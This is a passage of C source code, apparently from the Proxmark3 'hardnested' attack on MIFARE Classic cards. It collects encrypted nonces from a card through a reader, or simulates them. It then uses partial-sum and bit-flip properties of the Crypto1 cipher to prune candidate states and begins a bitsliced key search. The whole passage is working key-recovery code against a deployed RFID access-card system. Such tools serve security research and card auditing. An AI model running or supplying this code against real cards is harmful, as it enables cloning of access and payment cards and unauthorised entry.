715 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
716 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
717
718 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
719 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
720
721 do {
722 uint32_t nt_enc = 0;
723 uint8_t par_enc = 0;
724
725 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
726 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
727 total_added_nonces += add_nonce(nt_enc, par_enc);
728 total_num_nonces++;
729
730 if (first_byte_num == 256 ) {
731 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
732 if (!filter_flip_checked) {
733 Check_for_FilterFlipProperties();
734 filter_flip_checked = true;
735 }
736 num_good_first_bytes = estimate_second_byte_sum();
737 if (total_num_nonces > next_fivehundred) {
738 next_fivehundred = (total_num_nonces/500+1) * 500;
739 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
740 total_num_nonces,
741 total_added_nonces,
742 CONFIDENCE_THRESHOLD * 100.0,
743 num_good_first_bytes);
744 }
745 }
746
747 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
748
749 time1 = clock() - time1;
750 if ( time1 > 0 ) {
751 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
752 total_num_nonces,
753 ((float)time1)/CLOCKS_PER_SEC,
754 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
755 }
756 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
757
758 }
759
760 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
761 {
762 clock_t time1 = clock();
763 bool initialize = true;
764 bool field_off = false;
765 bool finished = false;
766 bool filter_flip_checked = false;
767 uint32_t flags = 0;
768 uint8_t write_buf[9];
769 uint32_t total_num_nonces = 0;
770 uint32_t next_fivehundred = 500;
771 uint32_t total_added_nonces = 0;
772 FILE *fnonces = NULL;
773 UsbCommand resp;
774
775 printf("Acquiring nonces...\n");
776
777 clearCommandBuffer();
778
779 do {
780 flags = 0;
781 flags |= initialize ? 0x0001 : 0;
782 flags |= slow ? 0x0002 : 0;
783 flags |= field_off ? 0x0004 : 0;
784 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
785 memcpy(c.d.asBytes, key, 6);
786
787 SendCommand(&c);
788
789 if (field_off) finished = true;
790
791 if (initialize) {
792 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
793 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
794
795 cuid = resp.arg[1];
796 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
797 if (nonce_file_write && fnonces == NULL) {
798 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
799 PrintAndLog("Could not create file nonces.bin");
800 return 3;
801 }
802 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
803 num_to_bytes(cuid, 4, write_buf);
804 fwrite(write_buf, 1, 4, fnonces);
805 fwrite(&trgBlockNo, 1, 1, fnonces);
806 fwrite(&trgKeyType, 1, 1, fnonces);
807 }
808 }
809
810 if (!initialize) {
811 uint32_t nt_enc1, nt_enc2;
812 uint8_t par_enc;
813 uint16_t num_acquired_nonces = resp.arg[2];
814 uint8_t *bufp = resp.d.asBytes;
815 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
816 nt_enc1 = bytes_to_num(bufp, 4);
817 nt_enc2 = bytes_to_num(bufp+4, 4);
818 par_enc = bytes_to_num(bufp+8, 1);
819
820 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
821 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
822 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
823 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
824
825
826 if (nonce_file_write) {
827 fwrite(bufp, 1, 9, fnonces);
828 }
829
830 bufp += 9;
831 }
832
833 total_num_nonces += num_acquired_nonces;
834 }
835
836 if (first_byte_num == 256 ) {
837 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
838 if (!filter_flip_checked) {
839 Check_for_FilterFlipProperties();
840 filter_flip_checked = true;
841 }
842 num_good_first_bytes = estimate_second_byte_sum();
843 if (total_num_nonces > next_fivehundred) {
844 next_fivehundred = (total_num_nonces/500+1) * 500;
845 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
846 total_num_nonces,
847 total_added_nonces,
848 CONFIDENCE_THRESHOLD * 100.0,
849 num_good_first_bytes);
850 }
851 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
852 field_off = true; // switch off field with next SendCommand and then finish
853 }
854 }
855
856 if (!initialize) {
857 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
858 fclose(fnonces);
859 return 1;
860 }
861 if (resp.arg[0]) {
862 fclose(fnonces);
863 return resp.arg[0]; // error during nested_hard
864 }
865 }
866
867 initialize = false;
868
869 } while (!finished);
870
871
872 if (nonce_file_write) {
873 fclose(fnonces);
874 }
875
876 time1 = clock() - time1;
877 if ( time1 > 0 ) {
878 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
879 total_num_nonces,
880 ((float)time1)/CLOCKS_PER_SEC,
881 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
882 );
883 }
884 return 0;
885 }
886
887 static int init_partial_statelists(void)
888 {
889 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
890 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
891
892 printf("Allocating memory for partial statelists...\n");
893 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
894 for (uint16_t i = 0; i <= 16; i+=2) {
895 partial_statelist[i].len[odd_even] = 0;
896 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
897 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
898 if (partial_statelist[i].states[odd_even] == NULL) {
899 PrintAndLog("Cannot allocate enough memory. Aborting");
900 return 4;
901 }
902 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
903 partial_statelist[i].index[odd_even][j] = NULL;
904 }
905 }
906 }
907
908 printf("Generating partial statelists...\n");
909 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
910 uint32_t index = -1;
911 uint32_t num_of_states = 1<<20;
912 for (uint32_t state = 0; state < num_of_states; state++) {
913 uint16_t sum_property = PartialSumProperty(state, odd_even);
914 uint32_t *p = partial_statelist[sum_property].states[odd_even];
915 p += partial_statelist[sum_property].len[odd_even];
916 *p = state;
917 partial_statelist[sum_property].len[odd_even]++;
918 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
919 if ((state & index_mask) != index) {
920 index = state & index_mask;
921 }
922 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
923 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
924 }
925 }
926 // add End Of List markers
927 for (uint16_t i = 0; i <= 16; i += 2) {
928 uint32_t *p = partial_statelist[i].states[odd_even];
929 p += partial_statelist[i].len[odd_even];
930 *p = 0xffffffff;
931 }
932 }
933
934 return 0;
935 }
936
937 static void init_BitFlip_statelist(void)
938 {
939 printf("Generating bitflip statelist...\n");
940 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
941 uint32_t index = -1;
942 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
943 for (uint32_t state = 0; state < (1 << 20); state++) {
944 if (filter(state) != filter(state^1)) {
945 if ((state & index_mask) != index) {
946 index = state & index_mask;
947 }
948 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
949 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
950 }
951 *p++ = state;
952 }
953 }
954 // set len and add End Of List marker
955 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
956 *p = 0xffffffff;
957 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
958 }
959
960 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
961 {
962 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
963
964 if (p == NULL) return NULL;
965 while (*p < (state & mask)) p++;
966 if (*p == 0xffffffff) return NULL; // reached end of list, no match
967 if ((*p & mask) == (state & mask)) return p; // found a match.
968 return NULL; // no match
969 }
970
971 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
972 {
973 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
974 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
975 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
976 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
977 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
978 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
979 return !all_diff;
980 }
981
982 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
983 {
984 uint_fast8_t j_bit_mask = 0x01 << bit;
985 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
986 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
987 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
988 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
989 return all_diff;
990 }
991
992 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
993 {
994 if (odd_even) {
995 // odd bits
996 switch (num_common_bits) {
997 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
998 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
999 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
1000 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
1001 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
1002 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
1003 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
1004 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
1005 }
1006 } else {
1007 // even bits
1008 switch (num_common_bits) {
1009 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1010 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1011 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1012 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1013 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1014 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1015 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1016 }
1017 }
1018
1019 return true; // valid state
1020 }
1021
1022 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1023 {
1024 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1025 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1026 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1027 uint_fast8_t j = common_bits(bytes_diff);
1028 uint32_t mask = 0xfffffff0;
1029 if (odd_even == ODD_STATE) {
1030 mask >>= j/2;
1031 } else {
1032 mask >>= (j+1)/2;
1033 }
1034 mask &= 0x000fffff;
1035 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1036 bool found_match = false;
1037 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1038 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1039 if (r*(16-s) + (16-r)*s == sum_a8) {
1040 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1041 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1042 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1043 if (p != NULL) {
1044 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1045 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1046 found_match = true;
1047 // if ((odd_even == ODD_STATE && state == test_state_odd)
1048 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1049 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1050 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1051 // }
1052 break;
1053 } else {
1054 // if ((odd_even == ODD_STATE && state == test_state_odd)
1055 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1056 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1057 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1058 // }
1059 }
1060 p++;
1061 }
1062 } else {
1063 // if ((odd_even == ODD_STATE && state == test_state_odd)
1064 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1065 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1066 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1067 // }
1068 }
1069 }
1070 }
1071 }
1072
1073 if (!found_match) {
1074 // if ((odd_even == ODD_STATE && state == test_state_odd)
1075 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1076 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1077 // }
1078 return false;
1079 }
1080 }
1081
1082 return true;
1083 }
1084
1085 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1086 {
1087 for (uint16_t i = 0; i < 256; i++) {
1088 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1089 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1090 uint_fast8_t j = common_bits(bytes_diff);
1091 uint32_t mask = 0xfffffff0;
1092 if (odd_even == ODD_STATE) {
1093 mask >>= j/2;
1094 } else {
1095 mask >>= (j+1)/2;
1096 }
1097 mask &= 0x000fffff;
1098 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1099 bool found_match = false;
1100 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1101 if (p != NULL) {
1102 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1103 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1104 found_match = true;
1105 // if ((odd_even == ODD_STATE && state == test_state_odd)
1106 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1107 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1108 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1109 // }
1110 break;
1111 } else {
1112 // if ((odd_even == ODD_STATE && state == test_state_odd)
1113 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1114 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1115 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1116 // }
1117 }
1118 p++;
1119 }
1120 } else {
1121 // if ((odd_even == ODD_STATE && state == test_state_odd)
1122 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1123 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1124 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1125 // }
1126 }
1127 if (!found_match) {
1128 // if ((odd_even == ODD_STATE && state == test_state_odd)
1129 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1130 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1131 // }
1132 return false;
1133 }
1134 }
1135
1136 }
1137
1138 return true;
1139 }
1140
1141 static struct sl_cache_entry {
1142 uint32_t *sl;
1143 uint32_t len;
1144 } sl_cache[17][17][2];
1145
1146 static void init_statelist_cache(void)
1147 {
1148 for (uint16_t i = 0; i < 17; i+=2) {
1149 for (uint16_t j = 0; j < 17; j+=2) {
1150 for (uint16_t k = 0; k < 2; k++) {
1151 sl_cache[i][j][k].sl = NULL;
1152 sl_cache[i][j][k].len = 0;
1153 }
1154 }
1155 }
1156 }
1157
1158 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1159 {
1160 uint32_t worstcase_size = 1<<20;
1161
1162 // check cache for existing results
1163 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1164 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1165 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1166 return 0;
1167 }
1168
1169 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1170 if (candidates->states[odd_even] == NULL) {
1171 PrintAndLog("Out of memory error.\n");
1172 return 4;
1173 }
1174 uint32_t *add_p = candidates->states[odd_even];
1175 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1176 uint32_t search_mask = 0x000ffff0;
1177 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1178 if (p2 != NULL) {
1179 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1180 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1181 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1182 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1183 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1184 *add_p++ = (*p1 << 4) | *p2;
1185 }
1186 }
1187 }
1188 p2++;
1189 }
1190 }
1191 }
1192
1193 // set end of list marker and len
1194 *add_p = 0xffffffff;
1195 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1196
1197 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1198
1199 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1200 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1201
1202 return 0;
1203 }
1204
1205 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1206 {
1207 statelist_t *new_candidates = NULL;
1208 if (current_candidates == NULL) {
1209 if (candidates == NULL) {
1210 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1211 }
1212 new_candidates = candidates;
1213 } else {
1214 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1215 }
1216 new_candidates->next = NULL;
1217 new_candidates->len[ODD_STATE] = 0;
1218 new_candidates->len[EVEN_STATE] = 0;
1219 new_candidates->states[ODD_STATE] = NULL;
1220 new_candidates->states[EVEN_STATE] = NULL;
1221 return new_candidates;
1222 }
1223
1224 static void TestIfKeyExists(uint64_t key)
1225 {
1226 struct Crypto1State *pcs;
1227 pcs = crypto1_create(key);
1228 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1229
1230 uint32_t state_odd = pcs->odd & 0x00ffffff;
1231 uint32_t state_even = pcs->even & 0x00ffffff;
1232 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1233
1234 uint64_t count = 0;
1235 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1236 bool found_odd = false;
1237 bool found_even = false;
1238 uint32_t *p_odd = p->states[ODD_STATE];
1239 uint32_t *p_even = p->states[EVEN_STATE];
1240 while (*p_odd != 0xffffffff) {
1241 if ((*p_odd & 0x00ffffff) == state_odd) {
1242 found_odd = true;
1243 break;
1244 }
1245 p_odd++;
1246 }
1247 while (*p_even != 0xffffffff) {
1248 if ((*p_even & 0x00ffffff) == state_even) {
1249 found_even = true;
1250 }
1251 p_even++;
1252 }
1253 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1254 if (found_odd && found_even) {
1255 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1256 count, log(count)/log(2),
1257 maximum_states, log(maximum_states)/log(2),
1258 (count>>23)/60);
1259 if (write_stats) {
1260 fprintf(fstats, "1\n");
1261 }
1262 crypto1_destroy(pcs);
1263 return;
1264 }
1265 }
1266
1267 printf("Key NOT found!\n");
1268 if (write_stats) {
1269 fprintf(fstats, "0\n");
1270 }
1271 crypto1_destroy(pcs);
1272 }
1273
1274 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1275 {
1276 printf("Generating crypto1 state candidates... \n");
1277
1278 statelist_t *current_candidates = NULL;
1279 // estimate maximum candidate states
1280 maximum_states = 0;
1281 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1282 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1283 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1284 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1285 }
1286 }
1287 }
1288 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1289
1290 init_statelist_cache();
1291
1292 for (uint16_t p = 0; p <= 16; p += 2) {
1293 for (uint16_t q = 0; q <= 16; q += 2) {
1294 if (p*(16-q) + (16-p)*q == sum_a0) {
1295 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1296 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1297 for (uint16_t r = 0; r <= 16; r += 2) {
1298 for (uint16_t s = 0; s <= 16; s += 2) {
1299 if (r*(16-s) + (16-r)*s == sum_a8) {
1300 current_candidates = add_more_candidates(current_candidates);
1301 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1302 // and eliminate the need to calculate the other part
1303 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1304 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1305 add_matching_states(current_candidates, p, r, ODD_STATE);
1306 if(current_candidates->len[ODD_STATE]) {
1307 add_matching_states(current_candidates, q, s, EVEN_STATE);
1308 } else {
1309 current_candidates->len[EVEN_STATE] = 0;
1310 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1311 *p = 0xffffffff;
1312 }
1313 } else {
1314 add_matching_states(current_candidates, q, s, EVEN_STATE);
1315 if(current_candidates->len[EVEN_STATE]) {
1316 add_matching_states(current_candidates, p, r, ODD_STATE);
1317 } else {
1318 current_candidates->len[ODD_STATE] = 0;
1319 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1320 *p = 0xffffffff;
1321 }
1322 }
1323 printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1324 printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1325 }
1326 }
1327 }
1328 }
1329 }
1330 }
1331
1332
1333 maximum_states = 0;
1334 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1335 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1336 }
1337 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1338 if (write_stats) {
1339 if (maximum_states != 0) {
1340 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1341 } else {
1342 fprintf(fstats, "%1.1f;", 0.0);
1343 }
1344 }
1345 }
1346
1347 static void free_candidates_memory(statelist_t *sl)
1348 {
1349 if (sl == NULL) {
1350 return;
1351 } else {
1352 free_candidates_memory(sl->next);
1353 free(sl);
1354 }
1355 }
1356
1357 static void free_statelist_cache(void)
1358 {
1359 for (uint16_t i = 0; i < 17; i+=2) {
1360 for (uint16_t j = 0; j < 17; j+=2) {
1361 for (uint16_t k = 0; k < 2; k++) {
1362 free(sl_cache[i][j][k].sl);
1363 }
1364 }
1365 }
1366 }
1367
1368 size_t keys_found = 0;
1369 size_t bucket_count = 0;
1370 statelist_t* buckets[128];
1371 size_t total_states_tested = 0;
1372 size_t thread_count = 4;
1373
1374 // these bitsliced states will hold identical states in all slices
1375 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1376
1377 // arrays of bitsliced states with identical values in all slices
1378 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1379 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1380
1381 #define EXACT_COUNT
1382
1383 static const uint64_t crack_states_bitsliced(statelist_t *p){
1384 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1385 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1386 uint64_t key = -1;
1387 uint8_t bSize = sizeof(bitslice_t);
1388
1389 #ifdef EXACT_COUNT
1390 size_t bucket_states_tested = 0;
1391 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1392 #else
1393 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1394 #endif
1395
1396 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1397 size_t bitsliced_blocks = 0;
1398 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1399
1400 // bitslice all the even states
1401 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1402
1403 #ifdef __WIN32
1404 #ifdef __MINGW32__
1405 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1406 #else
1407 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1408 #endif
1409 #else
1410 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1411 #endif
1412
1413 if ( !lstate_p ) {
1414 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1415 return key;
1416 }
1417
1418 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1419
1420 // bitslice even half-states
1421 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
